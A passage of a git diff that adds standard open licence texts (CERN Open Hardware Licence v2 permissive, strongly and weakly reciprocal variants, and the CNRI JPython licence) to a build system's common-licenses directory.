+5.2. LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1. Except for the rights explicitly granted hereunder, this Licence does not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2. The Licensee shall not use or make reference to any of the names (including acronyms and abbreviations), images, or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3. CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4. This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+
diff --git a/meta/files/common-licenses/CERN-OHL-P-2.0 b/meta/files/common-licenses/CERN-OHL-P-2.0
new file mode 100644
index 0000000000..f19d2b7adc
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-P-2.0
@@ -0,0 +1,199 @@
+CERN Open Hardware Licence Version 2 - Permissive
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: this licence, CERN-OHL-P
+(permissive); and two reciprocal licences: CERN- OHL-W (weakly
+reciprocal) and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-P is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-P.
+
+ 1.2 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.3 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.4 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.5 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.6 'Notice' means copyright, acknowledgement and trademark notices,
+ references to the location of any Notices, modification notices
+ (subsection 3.3(b)) and all notices that refer to this Licence
+ and to the disclaimer of warranties that are included in the
+ Covered Source.
+
+ 1.7 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.8 'Licensor' means a person who creates Source or modifies Covered
+ Source and subsequently Conveys the resulting Covered Source
+ under the terms and conditions of this Licence. A person may be
+ a Licensee and a Licensor at the same time.
+
+ 1.9 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2; and
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it.
+
+ 3.4 You may Convey Covered Source or modified Covered Source under
+ licence terms which differ from the terms of this Licence
+ provided that:
+
+ a) You comply at all times with subsection 3.3; and
+
+ b) You provide a copy of this Licence to anyone to whom You
+ Convey Covered Source or modified Covered Source.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You ensure
+that the recipient of the Product has access to any Notices applicable
+to the Product.
+
+
+5 DISCLAIMER AND LIABILITY
+
+ 5.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 5.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+6 Patents
+
+ 6.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in this section 6, or where terminated by the Licensor
+ for cause) patent license to Make, have Made, use, offer to
+ sell, sell, import, and otherwise transfer the Covered Source
+ and Products, where such licence applies only to those patent
+ claims licensable by such Licensor that are necessarily
+ infringed by exercising rights under the Covered Source as
+ Conveyed by that Licensor.
+
+ 6.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+7 General
+
+ 7.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 7.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 7.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 7.4 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-S-2.0 b/meta/files/common-licenses/CERN-OHL-S-2.0
new file mode 100644
index 0000000000..114486fd94
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-S-2.0
@@ -0,0 +1,289 @@
+CERN Open Hardware Licence Version 2 - Strongly Reciprocal
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: CERN-OHL-W (weakly reciprocal) and this
+licence, CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-S is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-S.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S provided that on
+ Conveyance of any such Source, or any associated Product You
+ treat the Source in question as being licensed under
+ CERN-OHL-S.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) as a physical part with sufficient rights and
+ information (including any configuration and
+ programming files and information about its
+ characteristics and interfaces) to enable it either to
+ be Made itself, or to be sourced and used to Make the
+ Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.9 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.10 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.11 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.12 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.13 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+ Including Covered Source in a larger work is modifying the
+ Covered Source, and the larger work becomes modified Covered
+ Source.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it, which remain licensed under their own
+ applicable licences.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You either
+provide each recipient with a copy of the Complete Source or ensure
+that each recipient is notified of the Source Location of the Complete
+Source. That Complete Source is Covered Source, and You must
+accordingly satisfy Your obligations set out in subsection 3.3. If
+specified in a Notice, the Product must visibly and securely display
+the Source Location on it or its packaging or documentation in the
+manner specified in that Notice.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-W-2.0 b/meta/files/common-licenses/CERN-OHL-W-2.0
new file mode 100644
index 0000000000..0f882860af
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-W-2.0
@@ -0,0 +1,310 @@
+CERN Open Hardware Licence Version 2 - Weakly Reciprocal
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: this licence, CERN- OHL-W (weakly reciprocal)
+and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-W is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-W.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S or the CERN-OHL-W, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S or CERN-OHL-W
+ provided that on Conveyance of any such Source, or any
+ associated Product You treat the Source in question as being
+ licensed under CERN-OHL-S or CERN-OHL-W as appropriate.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) with sufficient rights and information (including any
+ configuration and programming files and information
+ about its characteristics and interfaces) to enable it
+ either to be Made itself, or to be sourced and used to
+ Make the Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'External Material' means anything (including Source) which:
+
+ a) is only combined with Covered Source in such a way that it
+ interfaces with the Covered Source using a documented
+ interface which is described in the Covered Source; and
+
+ b) is not a derivative of or contains Covered Source, or, if it
+ is, it is solely to the extent necessary to facilitate such
+ interfacing.
+
+ 1.9 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.10 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.11 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.12 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.13 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.14 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it or External Material to which it is
+ interfaced, which remain licensed under their own applicable
+ licences.
+
+
+4 Making and Conveying Products
+
+ 4.1 You may Make Products, and/or Convey them, provided that You
+ either provide each recipient with a copy of the Complete Source
+ or ensure that each recipient is notified of the Source Location
+ of the Complete Source. That Complete Source includes Covered
+ Source and You must accordingly satisfy Your obligations set out
+ in subsection 3.3. If specified in a Notice, the Product must
+ visibly and securely display the Source Location on it or its
+ packaging or documentation in the manner specified in that
+ Notice.
+
+ 4.2 Where You Convey a Product which incorporates External Material,
+ the Complete Source for that Product which You are required to
+ provide under subsection 4.1 need not include any Source for the
+ External Material.
+
+ 4.3 You may license Products under terms of Your choice, provided
+ that such terms do not restrict or attempt to restrict any
+ recipients' rights under this Licence to the Covered Source.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ You may treat Covered Source licensed under CERN-OHL-W as
+ licensed under CERN-OHL-S if and only if all Available
+ Components referenced in the Covered Source comply with the
+ corresponding definition of Available Component for CERN-OHL-S.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CNRI-Jython b/meta/files/common-licenses/CNRI-Jython
new file mode 100644
index 0000000000..0bfec82d07
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Jython
@@ -0,0 +1,12 @@
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and using JPython version 1.1.x in source or binary form and its associated documentation as provided herein ("Software").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, non-transferable, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., “Copyright (c) 1996-1999 Corporation for National Research Initiatives; All Rights Reserved” are both retained in the Software, alone or in any derivative version prepared by Licensee.
+Alternatively, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes), provided, however, that such text is displayed prominently in the Software alone or in any derivative version prepared by Licensee: “JPython (Version 1.1.x) is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1006. The License may also be obtained from a proxy server on the Web using the following URL: http://hdl.handle.net/1895.22/1006.”
+3. In the event Licensee prepares a derivative work that is based on or incorporates the Software or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work, in a prominently visible way, the nature of the modifications made to CNRI's Software.
+4. Licensee may not use CNRI trademarks or trade name, including JPython or CNRI, in a trademark sense to endorse or promote products or services of Licensee, or any third party. Licensee may use the mark JPython in connection with Licensee's derivative versions that are based on or incorporate the Software, but only in the form “JPython-based ___________________,” or equivalent.
+5. CNRI is making the Software available to Licensee on an “AS IS” basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
